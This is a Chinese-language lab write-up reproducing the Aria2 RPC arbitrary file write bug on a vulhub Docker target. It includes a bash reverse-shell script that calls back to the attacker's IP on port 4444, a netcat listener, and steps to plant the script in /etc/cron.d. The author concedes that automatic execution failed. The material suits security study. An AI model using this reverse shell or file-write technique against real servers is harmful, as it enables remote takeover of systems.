Aria2 任意文件写入漏洞
1.aria2介绍
Aria2是一个命令行下运行,多协议,多来源下载工具(HTTP / HTTPS,FTP,BitTorrent,Metalink),内建XML-RPC用户界面。Aria提供RPC服务器,通过--enable-rpc参数启动.Aria2的RPC服务器可以方便的添加,删除下载项目。
2.漏洞描述
RCE漏洞,可以让攻击通过控制文件下载链接,文件储存路径以及文件名,直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。同时通过Aria2提供的其他功能,诸如save-session等也能轻易地实现任意文件写入指定功能。
3.漏洞复现
攻击机: 192.168.187.134
靶机:http://192.168.187.133:6800
工具网址:http://binux.github.io/yaaw/demo/
使用ubuntu上搭建的vulhub靶机
cd vulhub-master/aria2/rce
docker-compose build
docker-compose up -d
1.测试环境,访问http://192.168.187.133:6800/ 是一片空白
使用burp抓包,发包。发现报404错误
2.首先因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如 http://binux.github.io/yaaw/demo/访问这个UI,点击这个小扳手(settings),添加你的靶场域名,
配置Setting,按照下面的内容结合自身的ip地址填写, 最后Base Dir不用填写保存后自动显现。
3.配置一个web服务器,kali已经集成了Apache,只要将其启动就可以开始使用了
启动命令:service apache2 start
停止命令: service apache2 stop
Shell文件内容:
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.187.134/4444 0>&1
将shell文件放在/var/www/html/目录下
测试shell文件
首先在kali机开启监听
sudo nc -nvv -lp 4444
然后在ubuntu中创建shell文件,加权限,执行
chmod +777 shell
./shell
最后在kali中成功反弹,获得监听
3.上传shell文件
首先在kali中开启监听;
nc -nvv -lp 4444
点击添加新增并且设置下载任务,填写shell的url,及受害主机shell文件的存储路径
好吧 我和我查到的所有资料一样 ,都不能自动获得监听
4.手动获取监听 (手动笑哭)
在靶机中输入:
docker ps
//查看容器id
docker exec -it 容器Id /bin/bash
//进入容器shell 例如:docker exec -it c9ff092ad911 /bin/bash
cd /etc/cron.d
//进入到cron.d目录
ls
从上面已经上传的shell可以看出 这个任意文件写入漏洞是存在的,
手动给shell加权限,执行shell
chmod +777 shell
./shell
然后在攻击机kali 中,可以看到成功监听
参考链接: